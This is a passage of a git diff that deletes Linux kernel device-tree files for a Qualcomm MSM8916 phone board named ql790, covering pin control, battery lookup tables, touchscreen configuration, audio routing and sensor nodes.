Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "msm8916-ql790-pinctrl.dtsi" - -/ { - aliases { - serial0 = &blsp1_uart2; - }; -}; - -&soc { - i2c@78ba000 { /* BLSP1 QUP6 */ - nfc-nci@e { - compatible = "qcom,nfc-nci"; - reg = <0x0e>; - qcom,clk-src = "BBCLK2"; - qcom,clk-en-gpio = <&msm_gpio 0 0x00>; - interrupt-parent = <&msm_gpio>; - interrupts = <21 0>; - interrupt-names = "nfc_irq"; - pinctrl-names = "nfc_active","nfc_suspend"; - pinctrl-0 = <&nfc_int_active &nfc_disable_active>; - pinctrl-1 = <&nfc_int_suspend &nfc_disable_suspend>; - qcom,clk-gpio = <&pm8916_gpios 2 0>; - clocks = <&clock_rpm clk_bb_clk2_pin>; - clock-names = "ref_clk"; - }; - }; - - -}; - -&android_usb { - qcom,android-usb-cdrom; -}; - -&blsp1_uart2 { - status = "ok"; - pinctrl-names = "default"; - pinctrl-0 = <&uart_console_sleep>; -}; - -&mdss_dsi0 { - qcom,regulator-ldo-mode; - qcom,platform-regulator-settings = [02 09 03 00 20 00 01]; -}; - -&soc { - gpio_keys { - compatible = "gpio-keys"; - input-name = "gpio-keys"; - pinctrl-names = "tlmm_gpio_key_active","tlmm_gpio_key_suspend"; - pinctrl-0 = <&gpio_key_active>; - pinctrl-1 = <&gpio_key_suspend>; - - vol_up { - label = "volume_up"; - gpios = <&msm_gpio 107 0x1>; - linux,input-type = <1>; - linux,code = <115>; - gpio-key,wakeup; - debounce-interval = <15>; - }; - }; -}; - -&pm8916_gpios { - gpio@c000 { /* GPIO 1 */ - /* Battery UICC Alarm */ - status = "disabled"; - }; - - gpio@c100 { /* GPIO 2 */ - /* NFC_CLK_REQ */ - qcom,mode = <0>; /* QPNP_PIN_MODE_DIG_IN */ - qcom,pull = <5>; /* QPNP_PIN_PULL_NO */ - qcom,vin-sel = <2>; /* QPNP_PIN_VIN2 */ - qcom,src-sel = <2>; /* QPNP_PIN_SEL_FUNC_1 */ - qcom,master-en = <1>; - }; - - gpio@c200 { /* GPIO 3 */ - /* External regulator control for WTR */ - status = "disabled"; - }; - - gpio@c300 { /* GPIO 4 */ - /* External regulator control for APC */ - status = "disabled"; - }; -}; - -&sdhc_1 { - vdd-supply = <&pm8916_l8>; - qcom,vdd-voltage-level = <2900000 2900000>; - qcom,vdd-current-level = <200 400000>; - - vdd-io-supply = <&pm8916_l5>; - qcom,vdd-io-always-on; - qcom,vdd-io-lpm-sup; - qcom,vdd-io-voltage-level = <1800000 1800000>; - qcom,vdd-io-current-level = <200 60000>; - - pinctrl-names = "active", "sleep"; - pinctrl-0 = <&sdc1_clk_on &sdc1_cmd_on &sdc1_data_on>; - pinctrl-1 = <&sdc1_clk_off &sdc1_cmd_off &sdc1_data_off>; - - qcom,nonremovable; - - status = "ok"; -}; - -&sdhc_2 { - vdd-supply = <&pm8916_l11>; - qcom,vdd-voltage-level = <2800000 2950000>; - qcom,vdd-current-level = <15000 400000>; - - vdd-io-supply = <&pm8916_l12>; - qcom,vdd-io-voltage-level = <1800000 2950000>; - qcom,vdd-io-current-level = <200 50000>; - - pinctrl-names = "active", "sleep"; - pinctrl-0 = <&sdc2_clk_on &sdc2_cmd_on &sdc2_data_on &sdc2_cd_on>; - pinctrl-1 = <&sdc2_clk_off &sdc2_cmd_off &sdc2_data_off &sdc2_cd_off>; - - #address-cells = <0>; - interrupt-parent = <&sdhc_2>; - interrupts = <0 1 2>; - #interrupt-cells = <1>; - interrupt-map-mask = <0xffffffff>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0 - 2 &msm_gpio 38 0>; - interrupt-names = "hc_irq", "pwr_irq", "status_irq"; - cd-gpios = <&msm_gpio 38 0x0>; - - status = "ok"; -}; - -&spmi_bus { - qcom,pm8916@1 { - qcom,vibrator@c000 { - status = "okay"; - qcom,vib-timeout-ms = <15000>; - qcom,vib-vtg-level-mV = <3100>; - }; - }; -}; - -&qcom_tzlog { - status = "okay"; -}; - -&qcom_rng { - status = "okay"; -}; - -&qcom_crypto { - status = "okay"; -}; - -&qcom_cedev { - status = "okay"; -}; - -&qcom_seecom { - status = "okay"; -}; diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pinctrl.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pinctrl.dtsi deleted file mode 100644 index a27d2b4bcc662..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pinctrl.dtsi +++ /dev/null @@ -1,112 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#include "../msm8916-pinctrl.dtsi" - -&cdc_pdm_lines_sus { - /delete-property/ bias-disable; - bias-pull-down; -}; - -&tlmm_pinmux { - /delete-node/ tpiu_setb_5; - /delete-node/ tpiu_setb_8; - /delete-node/ tpiu_setb_9; - /delete-node/ tpiu_setb_10; - /delete-node/ tpiu_setb_11; - /delete-node/ tpiu_setb_12; - - cam_sensor_rear { - /* RESET, STANDBY ID*/ - qcom,pins = <&gp 35>, <&gp 34>, <&gp 51>; - qcom,num-grp-pins = <3>; - }; - - cam_sensor_rear_sleep { - /* RESET, STANDBY ID*/ - qcom,pins = <&gp 35>, <&gp 34>, <&gp 51>; - qcom,num-grp-pins = <3>; - }; - - cam_sensor_front { - /* RESET, STANDBY ID*/ - qcom,pins = <&gp 28>, <&gp 33>, <&gp 50>; - qcom,num-grp-pins = <3>; - }; - - cam_sensor_front_sleep { - /* RESET, STANDBY ID*/ - qcom,pins = <&gp 28>, <&gp 33>, <&gp 50>; - qcom,num-grp-pins = <3>; - }; - - cam_sensor_flash { - /* FLASH_RESET,FLASH_EN,FLASH_NOW */ - qcom,pins = <&gp 31>,<&gp 32> ; - qcom,num-grp-pins = <2>; - }; - - /delete-node/ apds99xx_int_pin; - - ap3426_int_pin { - qcom,pins = <&gp 113>; - qcom,pin-func = <0>; - qcom,num-grp-pins = <1>; - label = "ap3426-irq"; - ap3426_default: ap3426_default { - drive-strength = <6>; - bias-pull-up; - }; - ap3426_sleep: ap3426_sleep { - drive-strength = <2>; - bias-pull-down; - }; - }; - - bma2x2_int1_pin { - qcom,pins = <&gp 112>; - qcom,num-grp-pins = <1>; - label = "bma2x2_int1_pin"; - bma2x2_int1_default: int1_default { - drive-strength = <6>; - bias-pull-up; - }; - }; - - bma2x2_int2_pin { - qcom,pins = <&gp 114>; - qcom,num-grp-pins = <1>; - label = "bma2x2_int2_pin"; - bma2x2_int2_default: int2_default { - drive-strength = <6>; - bias-pull-up; - }; - }; - - otg_5v_pin { - qcom,pins = <&gp 52>; - qcom,num-grp-pins = <1>; - qcom,pin-func = <0>; - label = "otg-gpio"; - - otg_5v_on: otg_on { - driver-strength = <10>; - bias-pull-up; - output-high; - }; - - otg_5v_off: otg_off { - driver-strength = <2>; - bias-disable; - output-low; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pm8916.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pm8916.dtsi deleted file mode 100644 index a3188a9153166..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pm8916.dtsi +++ /dev/null @@ -1,19 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&spmi_bus { - qcom,pm8916@0 { - pm8916_rtc: qcom,pm8916_rtc { - qcom,qpnp-rtc-alarm-pwrup = <1>; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-sunwoda-4v35-2000mah.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-sunwoda-4v35-2000mah.dtsi deleted file mode 100644 index 2618fbefb26a4..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-sunwoda-4v35-2000mah.dtsi +++ /dev/null @@ -1,116 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -qcom,qrd-4v35-2000mah-data { - qcom,fcc-mah = <2000>; - qcom,default-rbatt-mohm = <140>; - qcom,rbatt-capacitive-mohm = <40>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,max-voltage-uv = <4350000>; - qcom,v-cutoff-uv = <3450000>; - qcom,chg-term-ua = <100000>; - qcom,batt-id-kohm = <130 115>; - qcom,battery-type = "qrd_4v35_2000mah"; - - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 15 10 9>, - < 8 7 6 5 4>, - < 3 2 1 0>; - qcom,lut-data = - <1535 299 99 81 72>, - <1535 299 99 81 72>, - <1419 304 101 81 73>, - <1359 307 104 83 73>, - <1273 311 107 85 75>, - <1245 309 112 87 76>, - <1238 296 116 90 77>, - <1234 290 123 95 81>, - <1243 285 115 95 82>, - <1263 285 103 84 75>, - <1297 285 99 80 73>, - <1340 287 100 82 73>, - <1393 294 101 83 75>, - <1458 307 103 85 77>, - <1538 325 104 83 73>, - <1633 346 104 81 72>, - <1758 380 104 82 73>,//20 - <1972 425 106 102 73>, - <2295 477 108 102 73>,//10 - <2642 427 100 103 74>, - <2849 458 101 105 75>, - <3094 487 105 97 76>, - <3272 503 98 99 77>, - <4839 542 98 99 76>, - <6001 522 98 99 75>, - <7870 533 107 102 78>, - <7245 504 102 107 83>, - <7465 576 108 105 101>, - <7930 652 246 231 143>; - }; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 45 60>; - qcom,lut-data = <1912 1995 2046 2020 1800 1800>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 45 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 15 10 9>, - < 8 7 6 5 4>, - < 3 2 1 0>; - qcom,lut-data = - <4280 4280 4340 4340 4245 4245>, - <4228 4240 4269 4268 4219 4219>, - <4156 4179 4204 4198 4194 4194>, //90 - <4107 4121 4152 4145 4141 4141>, - <4060 4083 4100 4095 4090 4090>, //80 - <3965 4017 4058 4048 4043 4043>, - <3918 3961 3996 4000 3999 3999>, //70 - <3883 3923 3965 3964 3959 3959>, - <3857 3880 3921 3925 3921 3921>, //60 - <3833 3839 3875 3875 3872 3872>, - <3815 3815 3833 3832 3835 3835>, //50 - <3796 3803 3810 3812 3817 3817>, - <3777 3786 3791 3790 3794 3794>, //40 - <3759 3772 3770 3771 3773 3773>, - <3743 3756 3755 3756 3758 3758>, //30 - <3727 3741 3739 3740 3739 3739>, - <3714 3728 3723 3723 3718 3718>, //20 - <3693 3708 3703 3704 3688 3688>, - <3681 3691 3691 3691 3681 3681>, //10 - <3670 3680 3680 3680 3670 3670>, - <3659 3659 3659 3659 3659 3659>, - <3637 3637 3637 3637 3637 3637>, - <3615 3615 3615 3615 3615 3615>, - <3580 3580 3580 3580 3580 3580>, //5 - <3545 3545 3545 3545 3545 3545>, - <3510 3510 3510 3510 3510 3510>, - <3480 3480 3480 3480 3480 3480>, - <3400 3400 3400 3400 3400 3400>, - <3300 3300 3300 3300 3300 3300>; //0 - }; - qcom,ibat-acc-lut { - qcom,lut-col-legend = <(-20) 0 25>; - qcom,lut-row-legend = <0 250 500 1000>; - qcom,lut-data = - <1900 1988 2000>, - <978 1907 1990>, - <78 1659 1954>, - <8 1565 1932>; - }; -}; \ No newline at end of file diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-tp.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-tp.dtsi deleted file mode 100644 index 8efdf39f4ec99..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790-tp.dtsi +++ /dev/null @@ -1,197 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* - * As a general rule, only version-specific property overrides should be placed - * inside this file. However, device definitions should be placed inside the - * yep_product_ql1001_flatform.dtsi file. - */ - -/* - Date Author Why - 2014-07-29 aidongdong add 1008 yusun product - 2014-08-11 zengguang add pinctrl - 2014-08-18 chenchen add module name for yusun - 2014-10-16 pangle add hall mod send cfg function - - - Date Author Module Sensor_id Old_ver New_ver - 2014.08.11 zengguang huaxingda 1 0x41 - 2014.08.18 chenchen huaxingda 1 0x41 0x42 - 2014.09.15 chenchen huaxingda 1 0x42 0x43 - 2014.10.09 chenchen huaxingda 1 0x43 0x44 - 2014.10.16 pangle huaxingda 1 0x43 0x44 - 2014.10.21 pangle huaxingda hall cfg 1 0x44 0x45 - 2014.10.22 pangle huaxingda hall cfg 1 0x45 0x46 - 2014.10.31 pangle huaxingda hall cfg 1 0x46 0x47 - 2014.11.03 pangle huaxingda 1 0x43 0x48 - 2014.11.03 pangle huaxingda hall cfg 1 0x47 0x48 - 2014.11.27 zengguang BYD 1 NULL 0x41 - 2014.12.03 zengguang BYD 1 0x41 0x43 - 2014.12.03 zengguang BYD hall 1 NULL 0x43 -*/ - -&soc { - i2c@78b9000 { /* BLSP1 QUP5 */ - Goodix-TS@14 { - compatible = "goodix,Goodix-TS"; - reg = <0x14>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2008>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - pinctrl-names = "pmx_ts_active","pmx_ts_suspend"; - pinctrl-0 = <&ts_int_active &ts_reset_active>; - pinctrl-1 = <&ts_int_suspend &ts_reset_suspend>; - goodix,reset-gpio = <&msm_gpio 12 0x00>; - goodix,display-coords = <0 0 720 1080>; - goodix,panel-coords = <0 0 720 1080>; - goodix,irq-gpio = <&msm_gpio 13 0x00>; - goodix,button-map = <139 172 158>; - goodix,i2c-pull-up; - goodix,module-name = "unknow","HuaXingDa","BYD","unknow","unknow","unknow"; - /*gt915,shenyue 20150428 wangkai*/ - goodix,cfg-data0 = [ - 41 D0 02 00 05 0A 35 00 01 08 - 28 05 50 32 03 05 00 00 00 00 - 00 00 00 17 19 1C 14 8B 2B 0C - 30 32 31 0D 00 00 00 22 03 1D - 00 00 00 00 00 00 00 32 00 00 - 00 1E 50 94 C5 02 07 00 00 04 - AD 21 00 94 28 00 7D 31 00 6D - 3B 00 60 48 00 60 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 02 04 06 08 12 0E 18 16 - 14 10 0C 0A FF FF 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 02 04 06 08 0A 0C 0F - 10 12 13 26 24 22 21 20 1F 1E - 1D 1C 18 16 FF FF FF FF 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 A2 01]; - /*gt915L,dijing module panel*/ - goodix,cfg-data1 = [ - 43 D0 02 00 05 0A 05 00 01 08 - 19 0A 50 32 03 F5 00 00 FF 7F - 00 00 00 00 00 00 00 8A 2B 0C - 32 34 D3 07 00 00 00 01 33 1D - 00 01 00 00 00 00 00 00 00 00 - 29 1E 46 94 C5 02 07 00 1E 04 - BF 20 00 A3 26 00 8C 2D 00 77 - 36 00 66 40 00 66 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 0A 0F 06 00 - 4B 32 02 04 06 08 0A 0C 0E 10 - 12 14 16 18 FF FF 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 12 10 0F 0C 0A 08 06 04 - 02 00 16 18 1C 1D 1E 1F 20 21 - 22 24 26 FF FF FF FF FF 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 58 01]; - /*gt915L,BYD module panel*/ - goodix,cfg-data2 = [ - 43 D0 02 00 05 0A 35 01 01 0A - 28 0A 50 32 03 05 00 00 FF 7F - 00 00 06 18 1A 1E 14 8C 2D 0D - 36 38 B5 06 00 0A 00 02 33 1D - 00 00 00 00 00 00 00 32 00 00 - 23 2D 57 94 C5 02 07 00 00 04 - 8E 30 00 7F 36 00 71 3E 00 64 - 47 00 59 51 00 59 18 38 58 00 - F0 4A 3A DD DD 27 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 0F 00 00 - 46 2D 1A 18 16 14 12 10 0E 0C - 0A 08 06 04 02 FF 00 00 00 00 - 00 00 00 00 00 FF FF FF FF 0F - FF 00 14 13 12 10 0F 0C 0A 08 - 06 04 02 00 16 18 1C 1D 1E 1F - 20 21 22 24 26 28 29 FF FF 00 - 00 FF FF FF FF FF FF FF FF FF - FF FF FF FF 4A 01]; - /*gt9157,huaxingda hall module panel*/ - goodix,cfg-data7 = [ - 4A D0 02 00 05 0A 35 01 01 08 - 28 0F 4B 32 03 05 00 00 FF 7F - 00 00 0A 18 1A 1D 14 8A 2A 0B - 32 34 0C 08 03 14 00 05 33 1D - 00 01 00 00 00 00 00 00 00 00 - 2D 1E 5A 94 C5 02 00 00 00 04 - AE 21 00 91 29 00 78 34 00 65 - 41 00 57 51 00 57 18 30 48 00 - F0 4A 3A FF FF 27 00 00 00 00 - 00 00 00 00 00 00 00 00 00 0F - 14 03 04 10 42 C8 0F 05 00 00 - 3C 2D 16 14 12 10 0E 0C 0A 08 - 06 04 02 FF FF FF 00 00 00 00 - 00 00 00 00 00 00 00 14 00 00 - FF 00 13 12 10 0F 0A 08 06 04 - 02 00 16 18 1C 1D 1E 1F 20 21 - 22 24 FF FF FF FF FF FF 00 00 - 00 FF FF FF FF FF FF FF FF FF - FF FF FF FF 73 01]; - /*gt9157,BYD hall module panel*/ - goodix,cfg-data8 = [ - 43 D0 02 00 05 0A 35 01 01 0A - 28 0A 50 32 03 05 00 00 FF 7F - 00 00 06 18 1A 1E 14 8C 2D 0D - 36 38 B5 06 00 0A 00 04 33 1D - 00 00 00 00 00 00 00 32 00 00 - 1D 2D 57 94 C5 02 07 00 00 04 - 8E 30 00 7F 36 00 71 3E 00 64 - 47 00 59 51 00 59 18 38 58 00 - F0 4A 3A DD DD 27 00 00 00 00 - 00 00 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 14 00 00 - 32 26 1A 18 16 14 12 10 0E 0C - 0A 08 06 04 02 FF 00 00 00 00 - 00 00 00 00 00 FF FF FF FF 0F - FF 00 14 13 12 10 0F 0C 0A 08 - 06 04 02 00 16 18 1C 1D 1E 1F - 20 21 22 24 26 28 29 FF FF 00 - 00 FF FF FF FF FF FF FF FF FF - FF FF FF FF 64 01]; - }; - focaltech@38 { - compatible = "focaltech,FT5x36"; - reg = <0x38>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2008>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - focaltech,family-id = <4>; - focaltech,max_touch_point = <2>; - focaltech,reset-gpio = <&msm_gpio 12 0x00>; - focaltech,irq-gpio = <&msm_gpio 13 0x00>; - focaltech,display-coords = <0 0 480 854>; - focaltech,panel-coords = <0 0 480 1000>; - focaltech,button-map= <139 172 158>; - focaltech,no-force-update; - focaltech,i2c-pull-up; - focaltech,auto_clb; - }; - }; - gen-vkeys { - compatible = "qcom,gen-vkeys"; - label = "FT5x36"; - qcom,disp-maxx = <480>; - qcom,disp-maxy = <854>; - qcom,panel-maxx = <480>; - qcom,panel-maxy = <946>; - qcom,key-codes = <139 172 158>; - qcom,y-offset = <0>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790.dtsi b/arch/arm/boot/dts/qcom/ql790/msm8916-ql790.dtsi deleted file mode 100644 index a22d3772bd51a..0000000000000 --- a/arch/arm/boot/dts/qcom/ql790/msm8916-ql790.dtsi +++ /dev/null @@ -1,298 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "msm8916-ql790-misc.dtsi" -#include "msm8916-ql790-camera.dtsi" -#include "msm8916-ql790-lcd_panel-settings.dtsi" -#include "msm8916-ql790-pm8916.dtsi" -#include "msm8916-ql790-tp.dtsi" - -&soc { - gpio-leds { - compatible = "gpio-leds"; - status = "okay"; - pinctrl-names = "default"; - pinctrl-0 = <&button_backlight_off>; - - keypad-backlight { - gpios = <&msm_gpio 119 0>; - label = "button-backlight"; - linux,default-trigger = "none"; - }; - }; - - sound { - compatible = "qcom,msm8x16-audio-codec"; - qcom,model = "msm8x16-skui-snd-card"; - qcom,msm-snd-card-id = <0>; - qcom,msm-ext-pa = "primary"; - qcom,msm-codec-type = "internal"; - qcom,msm-mbhc-hphl-swh = <1>; - qcom,msm-mbhc-gnd-swh = <0>; - qcom,msm-hs-micbias-type = "internal"; - qcom,audio-routing = - "RX_BIAS", "MCLK", - "SPK_RX_BIAS", "MCLK", - "INT_LDO_H", "MCLK", - "MIC BIAS Internal1", "Handset Mic", - "MIC BIAS Internal2", "Headset Mic", - "MIC BIAS Internal1", "Secondary Mic", - "AMIC1", "MIC BIAS Internal1", - "AMIC2", "MIC BIAS Internal2", - "AMIC3", "MIC BIAS Internal1"; - pinctrl-names = "cdc_lines_act", - "cdc_lines_sus"; - pinctrl-0 = <&cdc_pdm_lines_act>; - pinctrl-1 = <&cdc_pdm_lines_sus>; - qcom,ext-spk-amp-gpio = <&msm_gpio 112 0>; - asoc-platform = <&pcm0>, <&pcm1>, <&voip>, <&voice>, - <&loopback>, <&compress>, <&hostless>, - <&afe>, <&lsm>, <&routing>, <&lpa>; - asoc-platform-names = "msm-pcm-dsp.0", "msm-pcm-dsp.1", - "msm-voip-dsp", "msm-pcm-voice", "msm-pcm-loopback", - "msm-compress-dsp", "msm-pcm-hostless", "msm-pcm-afe", - "msm-lsm-client", "msm-pcm-routing", "msm-pcm-lpa"; - asoc-cpu = <&dai_pri_auxpcm>, <&dai_hdmi>, - <&dai_mi2s0>, <&dai_mi2s1>, <&dai_mi2s2>, <&dai_mi2s3>, - <&sb_0_rx>, <&sb_0_tx>, <&sb_1_rx>, <&sb_1_tx>, - <&sb_3_rx>, <&sb_3_tx>, <&sb_4_rx>, <&sb_4_tx>, - <&bt_sco_rx>, <&bt_sco_tx>, <&bt_a2dp_rx>, - <&int_fm_rx>, <&int_fm_tx>, - <&afe_pcm_rx>, <&afe_pcm_tx>, <&afe_proxy_rx>, <&afe_proxy_tx>, - <&incall_record_rx>, <&incall_record_tx>, <&incall_music_rx>, - <&incall_music_2_rx>; - asoc-cpu-names = "msm-dai-q6-auxpcm.1", "msm-dai-q6-hdmi.8", - "msm-dai-q6-mi2s.0", "msm-dai-q6-mi2s.1", - "msm-dai-q6-mi2s.2", "msm-dai-q6-mi2s.3", - "msm-dai-q6-dev.16384", "msm-dai-q6-dev.16385", - "msm-dai-q6-dev.16386", "msm-dai-q6-dev.16387", - "msm-dai-q6-dev.16390", "msm-dai-q6-dev.16391", - "msm-dai-q6-dev.16392", "msm-dai-q6-dev.16393", - "msm-dai-q6-dev.12288", "msm-dai-q6-dev.12289", - "msm-dai-q6-dev.12290", "msm-dai-q6-dev.12292", - "msm-dai-q6-dev.12293", "msm-dai-q6-dev.224", - "msm-dai-q6-dev.225", "msm-dai-q6-dev.241", - "msm-dai-q6-dev.240", "msm-dai-q6-dev.32771", - "msm-dai-q6-dev.32772", "msm-dai-q6-dev.32773", - "msm-dai-q6-dev.32770"; - asoc-codec = <&stub_codec>, <&pm8916_tombak_dig>; - asoc-codec-names = "msm-stub-codec.1", "tombak_codec"; - }; - - ramoops { - compatible = "ramoops"; - status = "ok"; - - android,ramoops-buffer-start = <0x8c400000>; - android,ramoops-buffer-size = <0x100000>; - android,ramoops-console-size = <0x80000>; - android,ramoops-record-size = <0x20000>; - android,ramoops-dump-oops = <0x1>; - }; - - qcom,msm-thermal { - qcom,limit-temp = <70>; - }; -}; - -&pm8916_chg { - qcom,cool-bat-decidegc = <100>; - qcom,warm-bat-decidegc = <450>; - qcom,vinmin-mv = <4408>; - qcom,cool-bat-mv = <4350>; - qcom,warm-bat-mv = <4250>; - qcom,ibatmax-warm-ma = <630>; - qcom,ibatmax-cool-ma = <630>; - qcom,vddmax-mv = <4370>; - qcom,vddsafe-mv = <4380>; - qcom,batt-hot-percentage = <35>; - qcom,batt-cold-percentage = <70>; - qcom,thermal-mitigation = <810 630 630 0>; - qcom,tchg-mins = <360>; - status = "okay"; -}; -&pm8916_bms { - qcom,max-voltage-uv = <4350000>; - qcom,v-cutoff-uv = <3450000>; - qcom,low-voltage-calculate-soc-ms = <30000>; - qcom,low-soc-calculate-soc-ms = <70000>; - qcom,low-voltage-threshold = <3550000>; - qcom,calculate-soc-ms = <100000>; -}; - -&pm8916_chg { - status = "ok"; - qcom,btc-disabled; -}; - -/ { - qrd_batterydata: qcom,battery-data { - qcom,rpull-up-kohm = <100>; - qcom,vref-batt-therm = <1800000>; - - #include "msm8916-ql790-sunwoda-4v35-2000mah.dtsi" - }; -}; - -&pm8916_bms { - status = "okay"; - qcom,force-bms-active-on-charger; - qcom,battery-data = <&qrd_batterydata>; -}; - -&pm8916_mpps { - mpp@a300 { /* MPP 4 */ - /* Backlight PWM */ - qcom,mode = <1>; /* Digital output */ - qcom,invert = <0>; /* Disable invert */ - qcom,src-sel = <4>; /* DTEST1 */ - qcom,vin-sel = <0>; /* VPH_PWR */ - qcom,master-en = <1>; /* Enable MPP */ - }; -}; - -&i2c_0 { /* BLSP1 QUP2 */ - di_ap3426@1e { - compatible = "di,ap3426"; - reg = <0x1e>; - pinctrl-names = "default","sleep"; - pinctrl-0 = <&ap3426_default>; - pinctrl-1 = <&ap3426_sleep>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2002>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - di,irq-gpio = <&msm_gpio 113 0x2002>; - di,als-cal = <320>; - di,als-gain = <1>; - di,als-persist = <0x1>; - di,ps-gain = <1>; - di,ps-persist = <0x2>; - di,ps-led-driver = <3>; - di,ps-mean-time = <0x2>; - di,ps-integrated-time = <0xc>; - di,wakeup-threshold = <4>; - di,als-sensitivity = <3000 400 100 1>; - di,ps-distance-table = <950 500 250 160 105 75>; - }; - - bosch@18 { /* Accelerometer sensor */ - compatible = "bosch,bma2x2"; - reg = <0x18>; - pinctrl-names = "default"; - pinctrl-0 = <&bma2x2_int1_default &bma2x2_int2_default>; - interrupt-parent = <&msm_gpio>; - interrupts = <112 0x2002>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - bosch,init-interval = <200>; - bosch,place = <4>; - bosch,gpio-int1 = <&msm_gpio 112 0x2002>; - bosch,gpio-int2 = <&msm_gpio 114 0x2002>; - }; - - aw2013@45 { - compatible = "awinic,aw2013"; - reg = <0x45>; - vdd-supply = <&pm8916_l17>; - vcc-supply = <&pm8916_l6>; - - aw2013,red { - aw2013,name = "red"; - aw2013,id = <1>; - aw2013,gpio = <1018>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - - aw2013,green { - aw2013,name = "green"; - aw2013,id = <0>; - aw2013,gpio = <1018>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - - aw2013,blue { - aw2013,name = "blue"; - aw2013,id = <2>; - aw2013,gpio = <1018>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - }; - - kionix@e { - compatible = "kionix,kxtj2-1009"; - reg = <0x0e>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - kionix,min-interval = <5>; - kionix,poll_interval = <100>; - kionix,accel_direction = <6>; - kionix,accel_irq_use_drdy 